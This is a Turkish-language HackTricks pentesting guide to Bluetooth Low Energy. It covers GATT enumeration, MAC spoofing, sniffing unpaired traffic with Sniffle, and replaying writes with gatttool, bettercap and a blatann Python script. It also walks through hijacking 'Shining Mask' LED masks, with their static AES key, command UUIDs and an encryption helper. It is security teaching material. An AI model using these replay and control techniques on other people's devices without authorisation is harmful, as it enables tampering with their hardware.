Pentesting BLE - Bluetooth Low Energy
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Introduction
Bluetooth 4.0 spesifikasyonundan beri mevcut olan BLE, 2400 ile 2483.5 MHz aralığını kapsayan yalnızca 40 kanal kullanır. Buna karşılık, geleneksel Bluetooth aynı aralıkta 79 kanal kullanır.
BLE cihazları iletişim kurmak için advertising paketleri (beacons) gönderir; bu paketler BLE cihazının varlığını yakındaki diğer cihazlara yayınlar. Bu beacons bazen veri gönderir de.
Dinleyen cihaz, ayrıca central device olarak adlandırılır, advertising cihaza özel olarak gönderilen bir SCAN request ile bir advertising pakete yanıt verebilir. O scan’a verilen response, başlangıç advertising isteğine sığmayan ek bilgileri içererek advertising paketiyle aynı yapıyı kullanır; örneğin tam cihaz adı.
.png)
Preamble baytı frekansı senkronize eder; dört baytlık access address ise aynı kanallarda birden fazla cihazın bağlantı kurmaya çalıştığı senaryolarda kullanılan bir connection identifierdır. Ardından Protocol Data Unit (PDU) advertising verisini içerir. Birkaç PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND’dir. Cihazlar bağlantı kabul etmiyorlarsa ADV_NONCONN_IND PDU türünü kullanır ve veriyi yalnızca advertising paketinde iletirler. Cihazlar ADV_IND kullanırsa bağlantılara izin verirler ve bir connection kurulduktan sonra advertising paketleri göndermeyi durdururlar.
GATT
Generic Attribute Profile (GATT), cihazın veriyi nasıl formatlaması ve aktarması gerektiğini tanımlar. Bir BLE cihazının attack surface’ını analiz ederken genellikle dikkatinizi GATT (veya GATTs) üzerinde yoğunlaştırırsınız, çünkü cihaz işlevselliğinin nasıl tetiklendiği ve verinin nasıl saklandığı, gruplanıp değiştirildiği buradan anlaşılır. GATT, bir cihazın characteristic, descriptor ve service’lerini 16 veya 32 bit değerler olarak tabloda listeler. Bir characteristic, central device ile peripheral arasında gönderilen bir veri değeridir. Bu characteristic’lerin onlara ilişkin ek bilgi sağlayan descriptors’ı olabilir. İlgili bir eylemi gerçekleştirmekle bağlantılıysa characteristic’ler genellikle services içinde gruplanır.
Enumeration
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool başka bir cihazla bağlantı kurmayı, o cihazın özelliklerini listelemeyi ve özniteliklerini okumayı ve yazmayı sağlar.
GATTTool -I seçeneği ile bir etkileşimli shell başlatabilir:
GATTTool etkileşimli kullanım ve örnekler
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Eşleştirilmemiş BLE cihazlarını dinleme ve aktif olarak kontrol etme
Birçok düşük maliyetli BLE çevre birimi pairing/bonding uygulamaz. Bonding yoksa Link Layer şifrelemesi hiç etkinleşmez, bu yüzden ATT/GATT trafiği düz metindedir. Bir off-path sniffer bağlantıyı takip edip GATT işlemlerini çözümler, karakteristik handle’larını ve değerlerini öğrenir; ardından yakınlardaki herhangi bir host bağlanıp bu yazmaları yeniden oynatarak cihazı kontrol edebilir.
Sniffing with Sniffle (CC26x2/CC1352)
Donanım: NCC Group’un Sniffle firmware’i ile yeniden flashlenmiş bir Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352).
Linux’ta Sniffle ve Wireshark extcap’ını yükleyin:
Sniffle extcap kurulum (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```Sonoff’u Sniffle firmware ile flash’layın (seri cihazınızın eşleştiğinden emin olun, örn. /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Wireshark’ta Sniffle extcap ile yakalayın ve filtreleyerek hızla durum değiştiren yazma işlemlerine geçin:
_ws.col.info contains "Sent Write Command"
Bu, client’tan gelen ATT Write Commands’ı vurgular; handle ve value genellikle doğrudan cihaz eylemlerine karşılık gelir (örn. buzzer/alert characteristic’a 0x01 yazmak, durdurmak için 0x00).
Sniffle CLI hızlı örnekler:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin’ı da çalışır. Küçük/ucuz Nordic dongle’larda genellikle sniffer firmware’ini yüklemek için USB bootloader’ın üzerine yazarsınız; bu yüzden ya özel bir sniffer dongle tutarsınız ya da bootloader’ı daha sonra geri yüklemek için bir J-Link/JTAG gerekir.
GATT üzerinden aktif kontrol
Sniffed traffic’ten writable characteristic handle ve value’ı tespit ettikten sonra, herhangi bir central gibi bağlanın ve aynı write’ı gönderin:
-
Nordic nRF Connect for Desktop (BLE app) ile:
-
nRF52/nRF52840 dongle’ı seçin, tarayın ve hedefe bağlanın.
-
GATT database’ini gezin, hedef characteristic’i bulun (genellikle bir friendly name olur, örn. Alert Level).
-
Sniffed bytes ile bir Write gerçekleştirin (örn. tetiklemek için 01, durdurmak için 00).
-
Windows’ta Nordic dongle ile Python + blatann kullanarak otomatikleştirin:
Python blatann write example (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)
print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)
print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### Vaka çalışması: hijacking BLE LED masks (Shining Mask family)
Ucuz, white‑labeled BLE LED maskeler “Shining Mask” app tarafından kontrol edilir ve herhangi bir yakındaki central'den pairing/bonding gerektirmeden write kontrolü kabul eder. Uygulama, bir command characteristic ve bir data characteristic ile GATT üzerinden iletişim kurar; komutlar app içinde hard‑coded statik bir anahtarla AES‑ECB ile şifrelenir, oysa toplu image verisi şifrelenmemiştir.
Bu cihazlardaki önemli UUID'ler:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
Kimlik doğrulaması gerektirmeyen GATT yazmaları
- Pairing/bonding gerekmez. Herhangi bir host bağlanıp command UUID'sine yazabilir; parlaklığı değiştirme, görüntü seçme, animasyon başlatma vb. işlemler yapılabilir.
- Gözlemlenen yaygın işlemler: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
Statik anahtar ile AES komut çerçevesi
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764
Bir komutu şifreleyip göndermek için Python helper (örnek: maksimum parlaklık ayarı):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
Görüntü yükleme akışı
- Şifrelenmiş bir DATS handshake’inin ardından, raw chunk’lar şifrelenmemiş olarak data characteristic …960a’ya yazılır.
- Paket formatı: [len][seq][payload]. Deneysel olarak paket başına ~100 bytes payload güvenilir şekilde çalışır.
Minimal görüntü yükleme pseudo-kodu
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to …960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
## Operasyonel notlar
- Sağlam kanal geçişi ve bağlantı takibi için Linux üzerinde Sonoff+Sniffle tercih edin. Yedek olarak bir Nordic sniffer bulundurun.
- pairing/bonding olmadan, yakınlardaki herhangi bir saldırgan yazma işlemlerini gözlemleyebilir ve kimlik doğrulaması yapılmamış yazılabilir karakteristiklere kendi yazmalarını tekrar oynatıp/oluşturabilir.
## References
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>
HackTricks

